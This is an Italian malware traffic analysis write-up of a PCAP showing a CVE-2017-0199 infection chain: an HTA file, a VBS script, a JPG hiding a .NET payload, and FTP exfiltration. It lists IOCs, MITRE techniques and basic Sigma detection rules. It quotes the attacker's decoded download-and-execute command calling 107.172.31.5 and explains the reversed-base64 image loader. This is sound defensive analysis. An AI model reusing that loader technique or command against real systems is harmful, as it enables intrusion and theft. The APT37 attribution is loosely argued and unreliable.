
CVE-2017-0199 XLS --> HTA --> VBS --> STEGANOGRAPHY --> DBATLOADER/GULOADER STYLE MALWARE
Analisi basata su PCAP | Data: 2025-03-12 | Autore: BlackOclock
14.1 Riepilogo Completo della Catena di Attacco
14.2 Indicatori di Compromissione (IP, Hash, Domini)
14.3 Raccomandazioni
NOTA!!! In questa analisi è stato utilizzato 'SOLO' il file PCAP! I file ZIP non erano necessari;
##1. PANORAMICA DELL'ANALISI

Figura 1: file sorgente scaricato da malware-traffic-analysis.net - è stato usato 'SOLO' il file PCAP\
2025-01-09 (GIOVEDÌ): CVE-2017-0199 XLS --> HTA --> VBS --> STEGANOGRAFIA --> MALWARE STILE DBATLOADER/GULOADER
##2. ANALISI DEL TRAFFICO DI RETE
2.1-Gerarchia dei Protocolli – Visione d'Insieme

Ho iniziato con la Gerarchia dei Protocolli per avere una visione d'insieme del traffico. Questo mostra il volume di ciascun protocollo utilizzato. Come mostrato in figura, TLS rappresenta l'82,4% del traffico totale. Inoltre, sono presenti anche dati di Media Line e Line-Based. Tuttavia, per comprendere meglio l'attività di rete, dobbiamo esaminare le Conversazioni e gli Endpoint.
2.2-Conversazioni – Principali Parlanti e Trasferimento Dati

Usiamo le Conversazioni per rilevare le coppie IP che hanno il maggior trasferimento dati tra loro. L'analisi mostra che 10.9.1.101 (host) e 104.17.201.1 hanno il volume di traffico più elevato. Per questo trasferimento dati sono state utilizzate le porte 80 e 443. Inoltre, vediamo che sono stati trasferiti 3 MB di dati verso 10.9.1.101 (host) da 104.17.201.1. Un'altra scoperta critica è la connessione sulla porta 21 a causa della connessione dall'IP WAN (89.39.83.184), che suggerisce una potenziale esfiltrazione. Ma non ne siamo ancora sicuri, perché non ne sappiamo ancora nulla. Abbiamo bisogno di una prova!
2.3- Endpoint

Usiamo gli Endpoint per identificare i principali parlanti sulla rete. 104.17.201.1 ha 3MB di dati trasmessi (Tx) e anche 10.9.1.101 ha 3MB di dati ricevuti (Rx). Inoltre, i principali parlanti sono 104.17.201.1 come sorgente e 10.9.1.101 come destinazione.
2.4- Oggetti Esportati HTTP

L'esportazione viene utilizzata per identificare file, dati, email, ecc. trasferiti sulla rete. Ogni volta che analizziamo un pcap, dovremmo semplicemente controllare qui per vedere quali pacchetti contengono quali dati. Bene, abbiamo notato i pacchetti 88, 132, 2457 e 2468.
2.5- Filtro HTTP Contains

Se sono presenti protocolli http sulla rete, dovremmo controllare png, zip, jpg, jpeg (Steganografia) come media sul filtro, perché gli attaccanti spesso usano codici malevoli nei file media per bypassare il rilevamento degli antivirus.
#Esempio: http contains ".png" o http contains ".jpg" o http contains ".jpeg" o http contains ".zip"
Stiamo solo vedendo perché questo filtro è importante quando la porta 80 viene utilizzata sulla rete. Qui c'è un .hta che è stato inviato su file media al pacchetto 47. Ma quando abbiamo usato l'esportazione per identificare i file, non c'era.
##3. ANALISI CON NETWORKMINER

Possiamo usare networkminer per identificare più velocemente su PCAP. Se usi REMnux o un sistema Linux, puoi scrivere sul terminale ( networkminer nome_pcap )
Frame = 47 Nomefile = seemebestthingsevermeetgivenbestthingsfornewways | Estensione = .hta | Dimensione = 47 KB | IP Sorgente = 192.3.27.144 Frame = 132 | Nomefile = comonstraints | Estensione = .vbs | Dimensione = 223 KB | IP Sorgente = 107.172.31.5 Frame = 2457 | Nomefile = foeMMBIG | Estensione = .txt | Dimensione = 325 KB | IP Sorgente = 107.172.31.5

Hash JA3:
06843d66057fc9cbe42e9d690308903 (Frame 8)62136a81b5b727d039d8160d188863aa (Frame 14)3c4eb72b882d4d1442c67ce73f1292a9 (Frame 140)Impronte JA4:
t13d1516h2_8daaf6152771_02713d6af862t13d201000_2b729b4bf63_29829a46703fBene, ma perché abbiamo bisogno degli hash JA4 e JA3? Potrebbe esserci una domanda: cosa sono JA3 e JA4?
Lasciami spiegare; JA3 e JA4 sono tecniche usate per identificare client e server TLS in base ai parametri dell'handshake TLS. JA3 crea un hash MD5 del pacchetto client hello dell'handshake TLS, identificando in modo univoco l'applicazione client (ad es. browser, malware).
JA4 è una tecnica più recente. È come un'impronta digitale per il traffico internet. Proprio come gli esseri umani hanno impronte digitali uniche, ogni software che si connette a Internet lascia un segno unico. Più utile per trovare il server C2.
##4. ANALISI DEI LOG ZEEK (ZUI)
I log di Zeek sono stati utilizzati per verificare i file estratti dal traffico HTTP. Il files.log mostra le seguenti voci:
Questi hash sono stati successivamente utilizzati per le ricerche su VirusTotal.

Hta (seemebestthing…)
MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
##5. FILE ESTRATTI E ANALISI STATICA
Qui esporteremo tutti i file dal pcap sul desktop e li analizzeremo con binwalk

Il file HTA sembra pulito. Non sono riuscito a trovare dati nascosti. Sembra un normale file di testo.
Il file VBS è diverso. Ho trovato due cose al suo interno:
Dei dati Base64 e un documento HTML Questo significa che il file VBS ha più strati. L'attaccante ha tentato di nascondere del codice al suo interno.
Il file TXT mi ha dato un output strano. Dice "Broadcom header", cosa che non ha senso per un file di testo. Forse il file è danneggiato, oppure c'è un altro strato all'interno. Devo eseguirlo in una sandbox per capire meglio
##6. TRIAGE E ANALISI COMPORTAMENTALE
Ho eseguito il file HTA in una sandbox. Ecco cosa è successo:

Abbiamo il risultato dell'hta. Punteggio 8/10 da Triage.

Catena di processi con 5 passaggi: mshta.exe (PID 1080) è partito Ha lanciato cmd.exe (4952) cmd.exe ha lanciato powershell.exe (4424) PowerShell ha abilitato SeDebugPrivilege (per accedere ad altri processi) WriteProcessMemory è stato usato più volte per iniezione di codice
Catena di iniezione:
mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → processo sconosciuto (3332)
PowerShell ha anche controllato i processi in esecuzione (scoperta) e ha guardato la lingua di sistema (probabilmente per evitare le sandbox).
Tecniche MITRE che ho visto per hta :
T1059.001 (PowerShell) T1059.003 (cmd) T1057 (scoperta dei processi) T1134 (manipolazione dei token) T1055 (iniezione di processi) T1614.001 (rilevamento della lingua)

Bene, qui vediamo FromString64Base nel comando PowerShell tramite cmd.exe. Dobbiamo decodificarlo su CyberChef per vedere il codice in base64.

Nel comando PowerShell, ho trovato una stringa Base64. Dopo averla decodificata con CyberChef, ho visto questo:
URLDownloadToFile(0, "http://107.172.31.5/comonstraints.vbs", "...", 0, 0) Start-Sleep(3) Invoke-Expression "..."
quindi significa che, da 107.172.31.5 scarica comonstraints.vbs e dorme per 3 secondi e poi esegue. Bene, nel passaggio successivo comonstraints.vbs verrà scaricato.

Abbiamo il risultato del vbs. Punteggio 10/10 da Triage.
Catena di processi: Wscript.exe è partito e ha lanciato PowerShell.exe
Bene, nell'immagine se controlliamo i codici nel processo. Possiamo #x#.GIBMMeof/5.13.271.701//:p##h ----> C'è un percorso codificato . http://107.172.31.5/foeMMBIG.txt (che era stato visto nell'esportazione del PCAP)
e anche questo sito https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg, che contiene codice malevolo all'interno del jpg. Il JPG ha i tag <BASE64_START> e <BASE64_END>. Tra di essi, quindi significa che c'è codice nascosto. Il testo nascosto è in realtà Base64 ma scritto al contrario. Lo script prima lo inverte, poi lo decodifica. Dopo la decodifica, diventa un piccolo programma (assembly .NET) e viene eseguito sul computer.
Ho provato a scaricare il jpg.

Ma non sono riuscito a ottenerlo. Forse questo indirizzo è stato chiuso. Il file VBS scarica un'immagine, trova il codice nascosto al suo interno, lo aggiusta e lo esegue. Questa si chiama steganografia – nascondere cose all'interno delle immagini.
Tecniche MITRE:
T1012 - Query del Registro di sistema T1082 - Scoperta delle Informazioni di Sistema T1055 - Iniezione di Processi T1057 – Scoperta dei Processi T1134 – Manipolazione dei Token di Accesso

Questo conferma che foeMMBIG.txt è in realtà un dropper di ransomware.
Tecniche MITRE:
##7. ANALISI DELL'INIEZIONE DI PROCESSI
7.1 Albero dei Processi
mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → Notepad.exe (4600)
7.2 Eventi WriteProcessMemory
Il PID 1080 (mshta.exe) ha scritto nel PID 4952 (cmd.exe) Il PID 4952 (cmd.exe) ha scritto nel PID 4424 (powershell.exe) Il PID 4424 (powershell.exe) ha scritto nel PID 4432 (csc.exe) Il PID 4432 (csc.exe) ha scritto nel PID 3332 (sconosciuto)
7.3 Manipolazione dei Token
PowerShell (PID 4424) ha abilitato SeDebugPrivilege, permettendogli di accedere ad altri processi.
##8. ANALISI DEL DUMP DELLA MEMORIA
Quando il malware è stato eseguito, la sandbox ha scattato istantanee della memoria di PowerShell (PID 4424). Queste istantanee salvano ciò che era nella RAM del computer in quel momento.
Ho trovato più di 20 file di dump della memoria

Il file VBS (eseguito da WScript.exe, PID 1184) ha creato anche dump della memoria. Questi dump sono per lo più di dimensione 64 KB. Questo è normale per allocazioni piccole. Ma ho controllato se ci fossero dump della memoria di Notepad.exe (PID 4600), ma non ce n'erano. Questo è interessante perché sappiamo che Notepad è stato usato per aprire foeMMBIG.txt.
##9. RILEVAMENTO E IMPRONTA DIGITALE DEL C2

Solo Jarm viene stampato da 2 IP
Ho estratto le impronte JA4 da NetworkMiner e le ho cercate su GreyNoise. Ho trovato 26 IP segnalati come malevoli con la stessa impronta JA4. Poi ho cercato tutti questi IP su Shodan per controllare le loro porte e servizi aperti.
Questa lista è stata creata controllando GreyNoise, e questi IP sono segnalati come malevoli in GreyNoise:
34.122.147.229 ( Tentativi di brute-force di applicazioni web - secondo la fonte Guardpot - 7 mesi fa Questo IP è stato coinvolto in 1222 eventi in 2 tipi distinti di attacco. Attacchi: tcp-portscan (1177), fortinet-login (45). Primo avvistamento: 2024-05-07 23:10 UTC, Ultimo avvistamento: 2025-07-17 17:28 UTC. 3/94 vendor di sicurezza hanno segnalato questo IP come malevolo. Scadenza: 2020-11-30 22:10:40 )
107.189.1.175 - risultato di shodan C: Lussemburgo Org : Buy VM Porte Aperte: 80 / 443 / 9001 / 9030
104.197.69.115 ( Tentativi di brute-force di applicazioni web - secondo la fonte Guardpot - 5 mesi fa Questo IP è stato coinvolto in 1159 eventi in 2 tipi distinti di attacco. Attacchi: tcp-portscan (1124), fortinet-login (35). Primo avvistamento: 2024-07-11 04:26 UTC, Ultimo avvistamento: 2025-09-25 12:08 UTC. 4/94 vendor di sicurezza hanno segnalato questo IP come malevolo )
34.72.176.129 ( Tentativi di brute-force di applicazioni web - secondo la fonte Guardpot - 5 mesi fa
Questo IP è stato coinvolto in 1233 eventi in 2 tipi distinti di attacco. Attacchi: tcp-portscan (1201), fortinet-login (32). Primo avvistamento: 2024-07-11 04:26 UTC, Ultimo avvistamento: 2025-09-25 12:12 UTC.
Trova maggiori informazioni su CrowdSec CTI - secondo la fonte CrowdSec - 1 anno fa
Comportamenti: Tentativo di sfruttamento / HTTP Bruteforce / HTTP Crawl + altri 2. Dettagli completi su CrowdSec CTI
6/94 vendor di sicurezza hanno segnalato questo IP come malevolo
34.123.170.104 ( Tentativi di brute-force di applicazioni web - secondo la fonte Guardpot - 1 mese fa Questo IP è stato coinvolto in 1141 eventi in 3 tipi distinti di attacco. Attacchi: tcp-portscan (1097), fortinet-login (42), web-login (2). Primo avvistamento: 2024-05-23 14:07 UTC, Ultimo avvistamento: 2026-01-26 05:22 UTC. Trova maggiori informazioni su CrowdSec CTI - secondo la fonte CrowdSec - 1 anno fa Comportamenti: HTTP Crawl / HTTP DoS / HTTP Exploit + altro. Dettagli completi su CrowdSec CTI ) 3/94 vendor di sicurezza hanno segnalato questo IP come malevolo
121.127.42.69 ( 3/94 vendor di sicurezza hanno segnalato questo IP come malevolo)
185.220.101.2 risultato di shodan ( Hostnames:berlin01.tor-exit.artikel10.org Paese : Germania Organizzazione: Artikel10 e.V. ISP : Stiftung Erneuerbare Freiheit (È TOR) Porte : 80/443/9001/9002
185.220.101.162 ( Hostnames: tor-exit-162.relayon.org Paese : Germania / Organizzazione:CIA TRIAD SECURITY LLC ISP : Stiftung Erneuerbare Freiheit)
205.169.39.24 Scansione di rete e ricognizione delle porte - secondo la fonte Guardpot - 8 mesi fa Questo IP è stato coinvolto in 86 eventi in 1 tipo distinto di attacco. Attacchi: tcp-portscan (86). Primo avvistamento: 2024-08-22 22:29 UTC, Ultimo avvistamento: 2025-07-04 17:29 UTC.
47.254.76.66 ( Cloud Provider : Alibaba Cloud Paese : USA porte aperte : 22 Sistema operativo : Linux
##10. ANALISI DELL'ESFILTRAZIONE
Quando controlliamo 89.39.83.184, vediamo che questo ip si è connesso sulla porta 21 con l'host. Se clicchiamo su uno dei pacchetti su 21 ftp e Follow --- > TCP STREAM, vediamo l'email e la password dell'attaccante

quando controlliamo i file su networkminer c'erano i numeri di pacchetto 2498 (PW_user1_DESKTOP.html) e 2516 (Contacts_Thunder.txt). Dopo aver esportato quei file, ci sono informazioni di nome utente e password per un attacco di phishing (immagino) o furto di account.

Ho cercato l'IP del server FTP (89.39.83.184) su Shodan per saperne di più sull'infrastruttura dell'attaccante.

##12. INTELLIGENZA SULLE MINACCE
12.1 Risultati VirusTotal e MalwareBazaar
Gli hash ottenuti dai log Zeek (Sezione 4) sono stati controllati su VirusTotal e MalwareBazaar. Tutti i file sono stati confermati malevoli:
File HTA: 33/61 rilevamenti, identificato come AgentTesla File VBS: 31/62 rilevamenti, identificato come AgentTesla / Talu File TXT: 25/62 rilevamenti, identificato come Zapchast / Bhgd (dropper di ransomware)
Vedere la Sezione 14.2 per l'elenco completo degli hash.
12.2 Mappatura MITRE ATT&CK
T1059.001 - PowerShell T1059.003 - cmd T1134 - manipolazione dei token T1614.001 - rilevamento della lingua T1012 - Query del Registro di sistema T1082 - Scoperta delle Informazioni di Sistema T1055 - Iniezione di Processi T1057 – Scoperta dei Processi
12.3 Correlazione con APT37 (ScarCruft)
Perché questo attacco assomiglia ad APT37?
Cosa abbiamo visto in questo attacco - APT37 è noto per File HTA usato per iniziare l'infezione - APT37 usa molto i file HTA PowerShell con comandi base64 - APT37 ama PowerShell Steganografia (JPG con codice nascosto) - APT37 nasconde codice nelle immagini Iniezione di processi (mshta → cmd → powershell → csc) - APT37 inietta codice in processi fidati Esfiltrazione FTP dei dati rubati - APT37 ruba credenziali e file Ransomware alla fine - APT37 ora usa anche ransomware Target forse in Europa - APT37 è attivo in Europa Conclusione Le tecniche che abbiamo visto in questo attacco corrispondono a ciò che APT37 fa di solito. Non è una prova al 100%, ma sembra APT37. Probabilmente dietro c'è un gruppo di hacker nordcoreani.
##13. INGEGNERIA DEI RILEVAMENTI
title: SeDebugPrivilege in PowerShell description: Rileva PowerShell che abilita SeDebugPrivilege (possibile manipolazione di token) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains: 'SeDebugPrivilege' condition: selection
title: Esfiltrazione FTP description: Rileva connessioni FTP da processi che non dovrebbero usare FTP logsource: category: network_connection product: windows detection: selection: Image|endswith: - '\powershell.exe' - '\cmd.exe' - '\wscript.exe' DestinationPort: 21 condition: selectiontitle: Download di PowerShell description: Rileva PowerShell che scarica file da internet logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains|all: - 'URLDownloadToFile' - 'http' condition: selection
title: Notepad da Temp description: Rileva Notepad che apre file dalla cartella Temp (possibile iniezione di processi) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\notepad.exe' CommandLine|contains: '\Temp' condition: selection
NOTA! So che è basilare, ma sto solo cercando di imparare le regole Sigma.
##14. CONCLUSIONE e IOCs
14.1 Riepilogo della catena di attacco completa
L'infezione è iniziata con un file HTA dannoso scaricato da 192.3.27.144. Quando aperto, ha lanciato una catena di processi:
mshta.exe → cmd.exe → powershell.exe → csc.exe → Notepad.exe
Risultati principali:
<BASE64_START> e <BASE64_END>.
Lo script ha estratto questi dati, li ha invertiti e decodificati in un assembly .NET. Questo assembly è stato caricato in memoria ed eseguito. Sebbene non sia stato possibile scaricare il JPG (errore 401), il codice suggerisce fortemente che questo fosse il meccanismo che ha scaricato il payload finale (foeMMBIG.txt).Attore della minaccia: APT37 – le tecniche corrispondono a TTP note
14.2 Indicatori di Compromissione
Indirizzi IP:
IP = 107.172.31.5 | Ruolo = Server C2 (download VBS, TXT) IP = 89.39.83.184 | Ruolo = Server FTP di esfiltrazione IP = 192.3.27.144 | Ruolo = Sorgente download HTA IP = 104.17.201.1 | Ruolo = Download primo stadio (3 MB) 25 IP dannosi da GreyNoise | Vedi elenco completo nella Sezione 9.2
Domini:
Domain = res.cloudinary.com Ruolo= Steganografia (JPG con codice nascosto) Domain = ip-api.com Nomefile= index.B23BDC8E.txt(false) Ruolo = Controllo evasione sandbox
Hash dei file:
(seemebestthing…).hta MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63
comostraints.vbs MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882
foeMMBIG.txt MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82
Credenziali FTP:
14.3 Raccomandazioni
47.251.118.89 (Cloud Provider : Alibaba Cloud Paese : USA porte aperte : 22 Sistema operativo : Linux)
107.189.12.7( Hostnames : tor.privatebrowsing.org Paese Lussemburgo porte aperte: 80)
47.88.18.245 ( Paese USA OS: Linux porta aperta : 22)
79.127.248.2 ( 4/94 vendor di sicurezza hanno segnalato questo IP come malevolo Paese USA)
185.126.82.201( Paese : USA porta : 1080)
45.92.19.139 (Paese : USA porta : 59511)
47.251.186.126( Paese : USA porta : 22)
79.127.221.66 (Paese : USA porta : 1080)
185.241.208.136 ( Paese: Polonia Hostnames ns2.rdp.rs porte aperte : 111/8440/9001)
47.89.246.29 ( Paese : USA porta : 22)
185.220.101.110 ( Hostnames: tor-exit-110.digitalcourage.de porte aperte : 80/123/443/8080)
5.77.252.202 ( Hostnames :host-202.252.77.5.ucom.am Paese : Armenia porte aperte : 1701/8291)
124.198.132.172(Tor) ( Paese : USA porte aperte : 111/8110/9001)
185.220.101.9 (Tor) ( HostName : berlin01.tor-exit.artikel10.org Paese : Polonia porte aperte : 80/443/9001/9002)
213.230.93.13 ( 4/94 vendor di sicurezza hanno segnalato questo IP come malevolo Paese : Uzbekistan)
138.199.140.203 ( hostname :static.203.140.199.138.clients.your-server.de Paese : Germania Porte Aperte : 22 / 8080 / 8443 / 9090/ 9100 / 10000 / 10250)